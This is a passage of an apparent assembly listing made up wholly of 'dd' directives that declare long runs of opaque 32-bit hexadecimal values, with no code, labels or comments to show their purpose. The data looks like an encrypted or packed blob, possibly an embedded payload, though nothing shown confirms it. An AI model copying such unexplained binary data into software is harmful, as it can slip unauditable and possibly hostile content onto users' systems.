1E3740Bh, 65E9E8D1h, 5FF93A37h dd 0A19DCB9Eh, 29E2F35Ch, 8E9A40F0h, 2A6C067Bh, 933F47E9h dd 4F48EB06h, 0B0C0C79h, 0E4026296h, 71264E49h, 7DEE3AC5h dd 0ABAD60B7h, 2F783943h, 0F464E94h, 836216CFh, 178B2DF7h dd 0EE570D25h, 0EB2A9169h, 975C2538h, 75E932D9h, 0E8D5F7B2h dd 98E7D13Dh, 0AC3A4A45h, 0D53DC1D2h, 0B06A3C01h, 0EE614DABh dd 296859EAh, 0C6FCE83Ah, 4B1CFC61h, 0C7D8AF5Bh, 0B68F250h dd 739E6ECEh, 27BC960h, 3A3B8C2Ch, 46751202h, 57AE870Fh dd 0E9AF6E60h, 0BC195AAAh, 56129E2Ch, 30F75CE0h, 0D2C4BD3h dd 7660AD07h, 0EE44E550h, 0B5789FDAh, 639CF995h, 6AFB45A0h dd 3947E7F0h, 4F2AD31Ah, 0D1967FE8h, 1D1A2B09h, 0BA20D746h dd 72C687CCh, 54D9095Fh, 430A26Eh, 0CC90DE76h, 211B6080h dd 82394BE8h, 88BEEA1h, 88B74575h, 5E0C3625h, 0B1C7BF01h dd 0C90C3417h, 0CB820223h, 0F8D8C569h, 34305D60h, 712D0E67h dd 862A0B99h, 9BAB6CE9h, 9D654C5Dh, 1DFAEB40h, 931A0F2Eh dd 0E3FC280h, 26E928EEh, 81A903A3h, 1F45E5BAh, 11A47077h dd 0DAE8FD12h, 0E93CEEEDh, 0AE0B4F9Dh, 8C1940Eh, 689A325Eh dd 7DCC90C2h, 0B53E8720h, 16FEEF70h, 0C441C25Eh, 8C77BB6Eh dd 3BFAB16Fh, 9D106DB2h, 865A2C4Bh, 0BEE94025h, 0A0791E72h dd 0A77E8C77h, 4AB55D14h, 73CAFD1Dh, 8625737Fh, 0E54EE950h dd 84945C5Ch, 0F4AC7E45h, 0AEBED8C8h, 0EB40A197h, 5ED7396Dh dd 0EEA527h, 1B95E908h, 76B852C0h, 0BD058613h, 0CFEA4043h dd 148F6D0h, 0C0BF006Ch, 0D10C8028h, 9A91FEEFh, 53DBC42h dd 0B350BA68h, 3C521236h, 692CDEFEh, 419B7B08h, 0CE26685Ch dd 0E19577D1h, 0E0FC50CAh, 315B60C4h, 9D44E2BBh, 33F09CBDh dd 5CEA3096h, 3B01DFC8h, 0F81A5505h, 0F0C1FF77h, 7C713C60h dd 5B2EB226h, 0FBCB01DDh, 9C4EE143h, 5F4C6B0Ch, 12D9D223h dd 28395Bh, 0A3D5F3E5h, 97CB249h, 0A92ADF9Dh, 125C92FDh dd 0EAA3BE9Eh, 4F3FE90Bh, 0F386DC7Ch, 7E0A2054h, 151160CBh dd 10E94FA5h, 78EF4853h, 69C1D14Bh, 9760D328h, 270FB393h dd 537CC001h, 0C7F620B4h, 0AB95E976h, 3724FFD4h, 4FAEF7FAh dd 0F21775ABh, 881CC4EEh, 4EACA2FEh, 458F528h, 84BE565Dh dd 46A4C03Fh, 629D1BE9h, 58C2FC09h, 5C81CC88h, 84C6E66Fh dd 0EA40F6D1h, 32D2715Bh, 0C51849Dh, 1E5A5FE0h, 4A575E59h dd 316E57Ah, 74820A68h, 78530C04h, 76054C4Bh, 0FF7E853Dh dd 6808DC50h, 7728140Ch, 28132083h, 34870DE9h, 0F3EA53B5h dd 0DF7674E6h, 0FDFD5FFCh, 880E554Ah, 635B9AFAh, 51588461h dd 80AAFE20h, 0E1E5BB8h, 8A926540h, 413282A1h, 0AA39FB4Ah dd 0E900206Ah, 0AB9A349Ch, 5EB958BFh, 0EB95E44Bh, 0BB387C13h dd 5614504h, 0BE4399FFh, 0F3AE978Dh, 3997A4ACh, 0F42D50CFh dd 6F383E30h, 2D05CBE9h, 0C01AD488h, 0AB2F84AFh, 4BBAB5F4h dd 0BECAFB11h, 52208B58h, 41B0B598h, 14144C2Dh, 0A1E059AEh dd 8CE87B45h, 0EF9CBCE8h, 242E8969h, 20CAA9A6h, 57ABC780h dd 0F24C4695h, 0E660496h, 0B012E94Ch, 56255B4Ch, 41FFF354h dd 25CA46E9h, 5E23FD5h, 0AA677634h, 0BDF88D84h, 73DE145Ah dd 48412E1h, 0F5785BEh, 9A85AD2Eh, 0F2BC8052h, 893E7140h dd 0DBEFA5E9h, 41C6A825h, 0F062087h, 0EEB82EE1h, 0E80ED84h dd 3CE3A281h, 29B94017h, 0BBEEB589h, 4E5B6639h, 78F7ABF0h dd 0F6219064h, 85E9175Dh, 6F21AB18h, 1051667h, 321D388h dd 0F0CAD961h, 3B001565h, 777B6857h, 4AE97FF7h, 178CE242h dd 33CB3D85h, 24100B10h, 68E6ED5Ch, 12C8E83Dh, 0C37B7930h dd 1F801A9Dh, 0E9124D0Dh, 809C8BA2h, 4A870B1h, 0B45059CBh dd 7CC5EED4h, 7084E0EFh, 5A14B5BEh, 96609F9h, 54D8035h dd 753A4A4Ch, 2EDFFE54h, 101A9B91h, 0C7800917h, 0BF5B550Dh dd 3DB4BECCh, 96AD80E0h, 174B8DD2h, 0CFD70BEFh, 0A85E8C09h dd 778B541Dh, 4C137D4Eh, 14DDB0F2h, 0CC01F7CCh, 0C15E0243h dd 0FC090292h, 0FE4DF81Eh, 0AFD3DEA0h, 82FE3E85h, 0BD573F3h dd 203865DEh, 0E3D32DCCh, 0CB3D3FE5h, 0FC336D44h, 62329812h dd 1831F340h, 768F66C3h, 0D3B57038h, 45DF25A9h, 0E95385A7h dd 0C952BEF2h, 8A5846F6h, 0B40B3120h, 0F4E5883Dh, 0D0A6C5FAh dd 64B068ABh, 0E1E518B5h, 35FFCB7Dh, 7BE6FDh, 3AD8500Bh dd 265AEF81h, 2F6F34Ch, 0EE6FB0CFh, 94B4417Dh, 10F41BF4h dd 5FDB40E9h, 0B434A1BCh, 0D104FB8Fh, 44BA1B69h, 0D24A67F4h dd 14E05BC6h, 6B2C09DDh, 96027D10h, 7F37876Ah, 88785EC0h dd 2166DA17h, 0BD2F42BAh, 0A6F24309h, 4F1BB238h, 742929EEh dd 6C011BD8h, 0E949175Fh, 9339A40Ah, 6483BE4Ah, 148BD901h dd 486D7D2Bh, 445E2EAEh, 3F4258A7h, 0E104F896h, 463F01A7h dd 1703FCDAh, 60823A20h, 17BB185Fh, 0E4BF3247h, 0EC42972Fh dd 0E2EEA7D2h, 0F9238B12h, 71850BBFh, 510555C2h, 0F312EBBAh dd 9C8423BDh, 66B2AA0Ah, 0A8FEE312h, 99688251h, 34C7D6Eh dd 0A147801h, 1797E903h, 0C4B63C80h, 0F604E6C0h, 0B551D60Ah dd 0B2E57B50h, 1AFCD404h, 0A44628FAh, 50C76B49h, 0CC408565h dd 5FCE4889h, 4047EF25h, 0E921F149h, 0A8D28531h, 0D920C518h dd 965CBFF8h, 36E87F52h, 0FE4AC738h, 0AA4F34ABh, 251C3152h dd 31D13957h, 29033BE6h, 74816234h, 97A1B1AFh, 18F44A2Ch dd 46E00AE6h, 3854D31h, 230ECECCh, 98E9F7C0h, 0B3E3CA4Bh dd 0C805C73Ah, 0AF4C0114h, 0C04A9CDh, 381C71C0h, 1D42605Bh dd 3A02CE08h, 7C017916h, 123C9BEh, 7A20E90Ch, 8ABA34D5h dd 0E7F21AE8h, 92E150F4h, 0B8DF809Ah, 0F6672DC1h, 0CDE0FCE0h dd 4A49D1B5h, 0EC5213E5h, 2DBF5E9Bh, 1323402Fh, 387F2717h dd 2AF9EA04h, 0ADFB51C9h, 88461E9Eh, 0D9E13F13h, 0C287EBF1h dd 0E98473F3h, 0D2391903h, 99EAA24Eh, 7C312B95h, 0A42EDA68h dd 61401F58h, 1414E59h, 4F12E1D2h, 1CAF70D7h, 4BF9FA9Dh dd 0F046E9E0h, 9DA913E9h, 69CF76FCh, 5B82B9Ah, 0B8BCCF09h dd 0F41DB85Eh, 1A561BFh, 0C4087C97h, 0F3BB7D3Fh, 0C6FA1521h dd 504875C8h, 0DE431092h, 8144BD35h, 70E8213Bh, 7D82CE51h dd 0B95ABFEEh, 0CFAA6074h, 81BB4E59h, 74250F7Fh, 85AE6A3h dd 583776E4h, 0A15B0C99h, 2CF5D568h, 411E9EBDh, 0AFF6AA7h dd 2A09F2F3h, 54F4841Dh, 0AEE9A013h, 0FA595540h, 62550A8h dd 7AA41B7h, 458908DDh, 5733EA0Fh, 2D0087DCh, 58AB65BFh dd 0D208B029h, 192DAB0Fh, 5E50C830h, 0ADC434B9h, 0FF54247Bh dd 44942998h, 0FDDEEDC8h, 4BF62E46h, 8016B766h, 28DE373Ah dd 0DD067D18h, 4BB4638Ah, 2D08E0F4h, 3FEDFFF9h, 36006726h dd 523840Eh, 587F2F67h, 35004158h, 2D5938F8h, 93B8DCE9h dd 68683032h, 919E6C5Ch, 5287162h, 0A2C70688h, 68161E18h dd 0BE31158h, 5C0A02Dh, 3794D7E9h, 0AC056603h, 5E2DA006h dd 0DD609246h, 0C4BF494Ch, 1D2049D2h, 163AF4CFh, 0A181A15Eh dd 0BBDC44B9h, 0DD318CF1h, 0D03900D2h, 7331840Fh, 74A78B12h dd 0AB79D5C2h, 7E1457E9h dd 0DA31522Eh, 5CF049EFh, 0BFF020D0h, 6804E84Dh, 31BB069Ah dd 2F49C853h, 5800DA8Ah, 7C7ABD55h, 0D1052EAAh, 7776E9E5h dd 3BC2B834h, 956D72D0h, 0C3A8D5Dh, 4617BB2Ah, 413B4D98h dd 1C877E56h, 0A2DF246Fh, 7168E290h, 0A7189543h, 822D3485h dd 4B7D7850h, 1CED1307h, 0E06F45F2h, 62920040h, 29F39DEAh dd 676EE7B0h, 1B872B24h, 56B3DA52h, 1A5C27FDh, 6DBB5307h dd 811CA700h, 162D1CEBh, 0E94B842Eh, 5893A0D4h, 88DF51BDh dd 5A1D2556h, 31B8DB96h, 5C1F8B5Fh, 6FBF414Ah, 1D851EFDh dd 0FFB1354Ah, 0E9856BF7h, 0BBB6D564h, 8A168204h, 2473B903h dd 50C8AFE5h, 0E3BC1372h, 5A9507B6h, 0B8751576h, 0D1490B16h dd 20D965E1h, 0D51E0BEAh, 0A9849ED8h, 70BA1352h, 444F7FA5h dd 81017422h, 0B8715E08h, 0B7C93345h, 7E3EED2Ah, 53D03226h dd 0F9E87042h, 1804C932h, 0FA8CBE06h, 0F94C5FC6h, 0CE84F52Ch dd 889C67D7h, 7872B76Eh, 71A90DE2h, 4BDFE451h, 0BF57C32Eh dd 0F4D0FC13h, 0FB15BD82h, 31CA0B3Bh, 0FCA79C87h, 1C5A4247h dd 552721B6h, 0DEA5D9FBh, 0C9E9D0D5h, 0C44BF15Bh, 12E576Fh dd 50A410B8h, 5291B400h, 0E9DFB353h, 6885950Ah, 862EFE55h dd 9382F34Ah, 0BB3EE0D9h, 0E3040569h, 40CCECAEh, 610450F1h dd 0CD012BDBh, 0E9090810h, 0ED60EC1Bh, 111D4CEEh, 0F69D52DDh dd 0DC6A1ECBh, 1ECEAC0Dh, 1790094Dh, 0A8E8C0DFh, 0BD8473AFh dd 2F700089h, 7B145071h, 0C29B5956h, 0FD8CD3E9h, 4C570DA2h dd 27815D09h, 0C203C368h, 0D8C8D65Fh, 959E5BE9h, 0C8F47122h dd 7DDD455Bh, 0B0ABA604h, 0FA5C29B0h, 77C200Ah, 0CB3CAB2Dh dd 0B304C95Fh, 2F12B80Ch, 2D05535Eh, 311D7FFEh, 8FE3439h dd 1C3198FBh, 0F100C641h, 97E23098h, 0BB186411h, 938E121Bh dd 674831FDh, 3D8BEA4Bh, 94712A64h, 84FBE867h, 7AE5F8C2h dd 0F78E661h, 0A202AC69h, 8905114Dh, 0CBEABB57h, 0DC94189Eh dd 120FBF26h, 0FC3C5077h, 0E0C74F75h, 78A0EE1h, 0BF9B167Ah dd 0BA1B24CCh, 0E8D395E4h, 0E9C1BBE8h, 377848D6h, 2FCEBED3h dd 42D5E913h, 2CC26828h, 0AE67B774h, 76F2B6CFh, 62A168C2h dd 643E987Dh, 89FE4FF0h, 0F671A496h, 1F84812Bh, 0C0827965h dd 0CE5D2B94h, 0AC30258Fh, 848E1DAh, 952E7ADAh, 545DA40h dd 0F93789EEh, 0C5A5F265h, 8609BE01h, 73F3D754h, 9F195869h dd 0E3207666h, 0D15F0020h, 331625E0h, 35075E2Eh, 31CF3ED7h dd 9383C215h, 8435FD97h, 0F23020AFh, 0C92E1662h, 3C2A476Fh dd 74BF3398h, 6E20F0F4h, 0C4CBEFA8h, 75831C16h, 2BBF8B01h dd 0B88FF5D8h, 14837392h, 0E810D929h, 116603Bh, 0EEC816EBh dd 0FC297949h, 0AD862C56h, 0AB263954h, 658A3738h, 0CAD117F7h dd 0D86089F4h, 0E2745E8Eh, 2A4084D6h, 81CC2805h, 1F28F25h dd 37255D5Ah, 0BF97DA3Dh, 0BFF55921h, 6085C97Ah, 0BB816358h dd 0D57DF4h, 50D3F756h, 0BC4955B8h, 0E1F10D5Eh, 7B68DBECh dd 60E09E99h, 0FED1A44h, 0DCF78100h, 0E93D5317h, 0ADCB5E9Fh dd 33AAD7D9h, 854FB30Eh, 0AF2B3EE5h, 0D2CBD214h, 0E916C3DFh dd 0C57E84E6h, 70B1AFCCh, 4CCAB22Bh, 0F98227AEh, 2956E98Eh dd 4B60EA9Ch, 12F0E831h, 0EAA4BE7Eh, 96DF9D6Ch, 7DEB7BDh dd 24CD4F2h, 40F5453Dh, 1851AF40h, 0E9639904h, 0D8BFA498h dd 280B7570h, 5EEDD156h, 21E50332h, 9E71D26Fh, 0C04602EFh dd 2C54FA25h, 2234720h, 13DF6A2Dh, 5E183AC0h, 31BEFE01h dd 0D519E9F1h, 912D1B62h, 0F929B602h, 20C3965Fh, 0FE4C5715h dd 51C91295h, 79BD008h, 82D9F65Ah, 0ABD27C7Fh, 7952E20h dd 207AEF80h, 0AC75A2F8h, 48A6F3DBh, 4FA4E950h, 847BF2E0h dd 500E1BABh, 0A4F19AC5h, 3C7C755Ch, 0CB2730B8h, 8026F659h dd 74DFE381h, 0F4ED172Ah, 3E267348h, 3602B47Fh, 819D2BA6h dd 0C86BE9E4h, 27771A3Dh, 0BB80C30Fh, 2824585Bh, 0A7CCC4A1h dd 10985714h, 10BD97C9h, 0B4BCB239h, 5074583Eh, 24D08839h dd 5A5806C7h, 6E700C0h, 52A0B551h, 280B3EB6h, 21B4E9F5h dd 0B8CB8048h, 8121A86h, 0C48A8EF3h, 1A3C81D6h, 0CC2AD179h dd 6C095AEh, 384B9C3Fh, 8097E94h, 0F9F37D5Dh, 20E6F70Bh dd 0D83CE0Bh, 56683CBBh, 0BA5ECF50h, 1D15E4Fh, 0D6078C38h dd 15552003h, 0DCE8725Ah, 7399F300h, 0DE314674h, 87ADB95h dd 5104344Bh, 37EBDD88h, 0E9EB83E9h, 7FFECEF9h, 33E8CE66h dd 0EBCD0296h, 0DF8003FEh, 5E015918h, 0E9DD01A2h, 0DC3B1FD1h dd 0E52668EDh, 52603C0Eh, 1E1979BAh, 9F537130h, 0E9DF02D3h dd 7E0914B0h, 0F9A020Ah, 1EC10EFEh, 60BC05B3h, 8AC8BF92h dd 2FDF9C1Dh, 750C715Ah, 4443F969h, 39E21707h, 3A7DF108h dd 4EBB29C0h, 994C503Bh, 655410D6h, 2AE20117h, 0EBC158C9h dd 0AEE2002Ah, 3183A8F5h, 7F5BDA2Dh, 4D064682h, 3B638149h dd 901B5F1Ah, 8225AD44h, 0BAF3128Fh, 0BCC62BC3h, 1C25B8AEh dd 2D210954h, 7D95AD64h, 66BF48B6h, 0A85D2027h, 1BB8805Bh dd 15666A15h, 6CF8B11Fh, 2606363Eh, 0C43DC127h, 2628654Eh dd 7B2CD18Ah, 23563A7Ch, 0D5EFFD09h, 18D71D2Bh, 9B89Fh dd 5455C1Bh, 0C1794649h, 7ED7315Bh, 0B3EC75CBh, 51FF505Ah dd 0AFD76654h, 0F1CBEB44h, 533A0909h, 26CA78D5h, 67B9ABD4h dd 6CD4666h, 595DEE1Eh, 87189124h, 9F0AA5A8h, 0F08FDE18h dd 47681DA8h, 99327C4Fh, 8104F649h, 8AE6CDF2h, 956660E4h dd 339E390Bh, 201A7C29h, 24A2BD08h, 0C201098h, 79060934h dd 0C90BDFBAh, 9EC85D66h, 0E3292A6Ch, 820AB18h, 690ABCh dd 0FD5FA012h, 86F8BD05h, 1CE7E913h, 0DB3E64A2h, 167595F0h dd 1D2F5B65h, 0CB78ADBCh, 777BAB09h, 4A4AEC26h, 0FB56C40Fh dd 0B9968FE2h, 63058090h, 0B121421h, 8C3DDA2Dh, 41998685h dd 61FBAADh, 51022BB4h, 5F4BF9E5h, 0C0D7D0E8h, 9B4FFA95h dd 68E962ACh, 0C180B77Eh, 77AD0236h, 20F59C29h, 315A4A08h dd 2BE691Ch, 55289453h, 92A78F31h, 49FF0EF7h, 300E9002h dd 8FBA86h, 0E266A27h, 4405BF57h, 5067AA2Fh, 0BECF0B65h dd 0D4003241h, 7148A2E7h, 0CD180A61h, 73B4373h, 0BBB6C2A6h dd 0F66FF683h, 6866EC25h, 82C93A22h, 9547DAC1h, 25CDDB78h dd 2B12455Eh, 0E9C109F3h, 0B3A81C02h, 5F895902h, 0E9CF06F4h dd 56224164h, 6EE1697Ah, 0E1E9C560h, 21A6D3BAh, 42823E2h dd 0BF5DBF4h, 4D6B2B87h, 53C4980h, 0DAFF0720h, 4380E2C0h dd 49667F13h, 284C1DBBh, 0DA8309D1h, 0F97698B0h, 8C33F72Bh dd 3976B9C6h, 418863F6h, 0B33C0856h, 53B317Ch, 875A5D62h dd 0A773E320h, 0E6A8FD0Bh, 0AB1C3408h, 0D3488FB8h, 0F7246104h dd 0F39B0A44h, 0EE94C07h, 0D95A488Bh, 0D7199DF6h, 34FFA862h dd 3D70F6B7h, 0F9A3DE96h, 640BD6D1h, 613975E1h, 55B9515Bh dd 8FC4DC57h, 94996E9Fh, 0EEEAC4BCh, 0EBD475E4h, 15686107h dd 79F7C270h, 248A4852h, 0B0D64EE8h, 714BE64h, 28D003FDh dd 5D4B07C7h, 515AC1AAh, 0F45D2E55h, 0A3F418CBh, 0F921C649h dd 8E3BC9A0h, 42312DE2h, 0CB7C559Dh, 0E950B052h, 44926E74h dd 0BCB9C1A4h, 0F891A2F8h, 2C332D40h, 135BC5C6h, 2DEFCACh dd 30312F46h, 0F750A674h, 6B9B90DBh, 6A5FCBAFh, 51257678h dd 1B356B57h, 336182CAh, 866CFBE9h, 5133684Eh, 4F5AABh dd 817BA3Fh, 8DB50C1Dh, 800406D1h, 750C0B1Ah, 0C93F5674h dd 4FDA91D4h, 480CA9ECh dd 0D6E02037h, 9B708097h, 806B476Ch, 602790D8h, 2014D0CCh dd 0B8008A37h, 1E8602A5h, 92D4840h, 851D5C8h, 0A94722F7h dd 0DCBE0052h, 0B7A0766h, 5FBE6B5Dh, 89C8D6FDh, 22B8F58Ch dd 0E572768h, 121D1098h, 490450D2h, 9019395Bh, 0DAED3F03h dd 2A7F5025h, 0F103676Fh, 2C921D45h, 0CF9824B6h, 442F5CAAh dd 2D6BA827h, 42815405h, 800181A9h, 3CE0CCF3h, 7DC8BFEBh dd 5B0B539Ch, 8D72968h, 5127087Fh, 2F5BA6CAh, 5910B95Dh dd 514A012Eh, 6D0BFAE9h, 0F9A013B7h, 491D31BBh, 0D8040791h dd 14254DB6h, 0EEFD6962h, 9E5754F2h, 51D73BF7h, 8AB59A4h dd 10A3087h, 8E099EEEh, 5AAAFE52h, 63296B86h, 9BCE0F25h dd 31067E41h, 0E4E4245Fh, 0D9D5C24Ch, 0FC594970h, 24873C2Dh dd 856AAEE9h, 0EFD0315Dh, 4B2A4h, 52665ACCh, 0B637B551h dd 0B0E04860h, 62EE802Dh, 28A4066Ch, 0B0278ED5h, 98F0977Bh dd 2D0E93FBh, 0F102122Dh, 885201E6h, 10BF41EAh, 0F4BE00C0h dd 65C22673h, 68310ECDh, 0BE80334Bh, 64EC42B9h, 0C7CAE917h dd 1A2D1DB9h, 0FFABB842h, 21ED6F5Bh, 3095A78h, 12A47B70h dd 917AEE3h, 139FC7ADh, 550983EEh, 58DFF9B2h, 0FE6AD2BFh dd 680BCA2Bh, 0B4460B86h, 5284DD4Ah, 251D8EFFh, 802540C9h dd 282226EAh, 0CBFE0122h, 70AEB151h, 8292997Dh, 70D9EC2Fh dd 0D98850B3h, 661440D5h, 6F902CCFh, 29927DCFh, 0AA10F2B3h dd 0BFB80706h, 0DA04E64h, 9340D6h, 3E590512h, 0D8E975C7h dd 40BEF44Eh, 0E20ACE52h, 0CF48894Bh, 0D7FC118Eh, 185F042Fh dd 9FB299BBh, 0E4BA1424h, 277CC32Ch, 0FC052B25h, 0E6461250h dd 0CFED1762h, 830B6FF7h, 0D7CA02EAh, 77781EF7h, 3C5C81A5h dd 0E7C1A1BEh, 0BCE67770h, 0C6880480h, 8082AE58h, 605D0BF3h dd 0BA2335E8h, 6E70B779h, 40288C4Fh, 0BB7940DAh, 6E085602h dd 0F0EB8326h, 212D108Eh, 0DCC73D61h, 784427D1h, 98DFE679h dd 81FFE005h, 2002FCD2h, 9ABF5891h, 0C0C4FD12h, 9AEFD52Dh dd 493414B8h, 6012A4D1h, 7E3B6D0Ch, 0B52BB4A0h, 0B44870E5h dd 0B329EE16h, 4F162260h, 1840E309h, 0C129D20Bh, 0E8441201h dd 0F14E1278h, 5DDB8E33h, 0C71C6D21h, 51DBB42Bh, 0E3BE05FBh dd 82C95277h, 0A08BA7E9h, 4E2155A7h, 220F9535h, 5EA2D6A5h dd 0F91F1277h, 478F0F44h, 0E86E2A20h, 0F7685182h, 62BD5671h dd 4D710778h, 1E97F82h, 0B6ECFF41h, 5984B662h, 0C6DC093Ch dd 2DF375D2h, 2D937C27h, 22AF656Dh, 963455h, 0C120B3BAh dd 0A6B3154Bh, 73F8E91Ch, 0A22DE2E7h, 376E2252h, 69AC2AD5h dd 7B2CA01Ch, 0B6FA1B8h, 0D8F8B7h, 0A86069BDh, 0AFC58120h dd 1F7B6118h, 3E108A0Ch, 0F502289Bh, 3F704CF7h, 0F680FE00h dd 0B372B566h, 0AC1306CEh, 411C902Fh, 8DF10891h, 0D8796362h dd 95D8DF5Bh, 164D3832h, 0B6F077B9h, 89973FF4h, 0B4145DBEh dd 47D2B598h, 0A0441891h, 0FCE83101h, 32A83C92h, 5A9DC301h dd 7EF2FC4Eh, 9E9C9DCFh, 822FF95h, 1173B499h, 0F7DAFBDh dd 43E36584h, 0B035A583h, 94B8ACBh, 5DE96A0Dh, 9D1390AAh dd 0CF680702h, 89908B75h, 0A291B46Ch, 3097E4Bh, 6C8592Ch dd 1E0BCFE8h, 961B026h, 11643003h, 10F7E04Dh, 0ACD101A1h dd 0A0D2705h, 2D4B706Ch, 0B8DD07A2h, 3BD557Eh, 7BDF6988h dd 5E3AEDC1h, 0F71E09F5h, 5B30B19h, 0D249B622h, 38D30654h dd 8A5E4B0Dh, 4F68268Ch, 5988462Fh, 2D5F39D9h, 40E23B27h dd 0F720DD16h, 0AF65F41h, 0A2C8C2C4h, 0E32085E8h, 40F94798h dd 637FB02Ch, 1618B49h, 5AB45053h, 247AE388h, 28F8FAF7h dd 0B58104F4h, 4BE104Eh, 72945F3Ch, 0B4BCC2h, 673285B9h dd 2AA0634Ah, 30070928h, 4CA0D113h, 554C68F9h, 5FF3E0FDh dd 0F3737E2Dh, 36B809C7h, 0EBEF805Fh, 0DD104DD1h, 7AD9804Ah dd 41E92AC9h, 8DB46D5Eh, 21374147h, 10CC786Ah, 542B859Bh dd 0BA5200F1h, 67B022B1h, 70BCBB8h, 0F53D0F25h, 6D12E20Ch dd 54153213h, 5D711F01h, 0AC6F0396h, 70741662h, 0E17AFD92h dd 86EDACC4h, 0B8004638h, 0CA6765Bh, 7F12920Dh, 0BB2746h dd 85E2D4Bh, 28B80F8Fh, 78099140h, 0B1852ADBh, 50682DA4h dd 0ABB9F7F9h, 6805FED1h, 0EB444994h, 0DEFCE8FBh, 213E0D9Eh dd 4BA3E55h, 0B3229EF9h, 0E8535AD8h, 52F355BCh, 0FBFADE25h dd 6896BDF8h, 288CAA9Ch, 0FD6548C6h, 5EF50C61h, 0C9002AECh dd 4DFAAB2Fh, 2447EC05h, 0A0B57080h, 8CEBBC07h, 0BBBEB589h dd 5964C609h, 805F517h, 0E90CC748h, 3A970ADBh, 0EA874FC1h dd 9D55E860h, 0DB67AD80h, 0C5588960h, 33978F02h, 12254F2h dd 1A33D3BDh, 0C8DE17BEh, 4E5C8228h, 0DBFED20Eh, 4DD34F2Ch dd 0A3ABDC68h, 602B25F7h, 14F5958h, 560D6852h, 6A5A303Bh dd 4CF248D0h, 76C82E1Bh, 0E9B101Fh, 12567568h, 8287E3FFh dd 0A7F7FEE9h, 6574C1F5h, 93D8F294h, 8E42EC0h, 0D8B50ECFh dd 0E0BEC0Bh, 87B7A181h, 0A4CAD730h, 0F3E778CBh, 1E03B1C4h dd 0E3E68166h, 0C60A0F2Ch, 464709C9h, 2BFD057h, 7C4EE923h dd 535C78C1h, 0C62CD920h, 199FB999h, 84B0EECh, 0B99472AAh dd 789D2578h, 25E774D7h, 72DE75A8h, 0FD0FE31Ah, 0C8C3DEC2h dd 8ADA9FDh, 1FFEF9A9h, 0C4B449D8h, 3499D6F1h, 83F5E606h dd 0F20BD22Ah, 10FE297Dh, 0BAE5BE73h, 97E9A0F0h, 0C2C9B20Ah dd 4A46130Ch, 842A8FDh, 140C0C34h, 129E545Bh, 0C3543687h dd 0C8C8DCFh, 40400EF7h, 3AEA05EFh, 0D89777EEh, 0E5078346h dd 0BEC4AFB5h, 90BCFE68h, 0EAE32D6Fh, 4BD2E854h, 0FBF0ACFCh dd 946B905h, 3739D268h, 2B227191h, 96DF88F2h, 4B64EDE6h dd 0F0217805h, 4F138C53h, 7A2F5809h, 0F9EE5A4Ah, 0C5592FD1h dd 12A0BE4Ch, 0C26B09BEh, 5D4069Fh, 1EB6B01Dh, 0C9CC6BBCh dd 0EEDE032Eh, 0EF7C5071h, 51918093h, 0C1287B9h, 0FD0877CDh dd 1A442429h, 0F157A0B0h, 0AE5EE473h, 7132C509h, 36798276h dd 8861736Dh, 0F74280BCh, 6B7C25D8h, 35200201h, 138E62ECh dd 75BDA2E8h, 5E56816h, 0F15801BCh, 0C6BF9731h, 44ED2B02h dd 0E1F766C2h, 6B9C51E0h, 1AE23F9Eh, 53BFE9B0h, 0B3E36DDh dd 0CD658F7h, 501E04A0h, 0D8C9EEB0h, 0E8258004h, 25762C02h dd 9AF4B151h, 0AE80050Eh, 79E164BCh, 38B6ACEFh, 59C80BD5h dd 0CFCBE008h, 53CB2E0h, 24D4048Ah, 0F40FE48h, 6D963233h dd 5DC40025h, 0EF0D0EC8h, 477F303Ch, 3827EB75h, 0E7935D4Fh dd 6ED1E34Fh, 5E02AF20h, 35C231F4h, 96DC0999h, 9A70742h dd 2604535Dh, 90302EDh, 0E28E7BADh, 2D8B660Bh, 0C9815D74h dd 316575ABh, 32854D39h, 7F32AB3Dh, 77D65556h, 0B5E2E9F0h dd 7955FC09h, 79736251h, 129D21FFh, 0F56FC831h, 6908AF0Ch dd 473CD195h, 0EB01EF5Eh, 2A9B3D1Bh, 740A428h, 0BBD09758h dd 7DA2D095h, 0FC394A67h, 3512001Ah, 874B6AD8h, 0CC7095FBh dd 9906989Fh, 2921251Fh, 0D71C5170h, 1524F70Bh, 0DEDD2A09h dd 85DF6BC6h, 0D3A848F9h, 0F60DB50Ch, 0CDE4C522h, 0B92F99Fh dd 8E5D55F5h, 0DED80B7Fh, 46D02732h, 0D64A8CBDh, 0DD035E1Ah dd 7A0B218Ch, 18C9E3B8h, 83575625h, 324E5032h, 3F6C8DAEh dd 7530BCA5h, 1A6082A5h, 0DE90E0F5h, 40C9B535h, 5EF2D671h dd 8B30E33Bh, 58B57828h, 205414Eh, 12AE376h, 0BBCD84DBh dd 0D7A87B60h, 0ECE55F17h, 0ED86C526h, 1F9D9CFEh, 9F26A01h dd 7AC1685Fh, 0BBD312Bh dd 81AB3C35h, 34BB1299h, 0D5AF0C82h, 0BEDE7E98h, 84ACCAADh dd 0EE4E772h, 0B2635EB9h, 3F9297A6h, 0DDB16A89h, 24162021h dd 0E97C7086h, 0FE6CB29Fh, 0F8F57AC3h, 0ADFA25F4h, 7FCC3FE9h dd 81DE1BE2h, 907C05BAh, 61656075h, 239F7918h, 2FFD5E26h dd 5F05AE0Eh, 8BD1629h, 0B009459Ch, 29378FF8h, 0BBAF10Ch dd 0AD1823DEh, 404B7668h, 0E98F27B9h, 1A7D56A9h, 9088F545h dd 0BA571291h, 2907AA8Eh, 8917B621h, 6252D9DDh, 7E7839E9h dd 0FE4E58A0h, 0CF80C70Fh, 0F641A529h, 0D6F8FE7h, 88F250C5h dd 0CB120E5Bh, 0E009A061h, 5A647E5Eh, 0FC3B70DFh, 42E102EDh dd 0DD017A38h, 8285142h, 209328DCh, 474927A6h, 22B2DDEh dd 60E1C1B7h, 81DA867Bh, 8251FCBFh, 4BDB0E48h, 5F271DF6h dd 0D465AD21h, 8C143CFEh, 7FB6BB19h, 0DBC54D02h, 0DC9EEE4Eh dd 5DC1AF4Bh, 0C86FC331h, 5794A3BEh, 5E58093Bh, 43932229h dd 0ACDF0B88h, 0B0878A9Eh, 55AC4011h, 163E4093h, 74227F70h dd 2AC2801h, 35173452h, 72F75162h, 0C5E65E0Dh, 0C061BAFFh dd 8214D329h, 0BCDEB09Eh, 0C7795F52h, 0F51D6342h, 5162A49Ch dd 551828CAh, 571336C7h, 58FDF6BEh, 0AF13B4A3h, 0CCEE5C52h dd 5CBEB9D5h, 590B801h, 0B497202Ch, 0E674AF0Eh, 0E9556001h dd 416A3FC1h, 8127DBC5h, 0CABDEC7Dh, 0D72DC89Dh, 4F323119h dd 50B1092Eh, 51BBC5EBh, 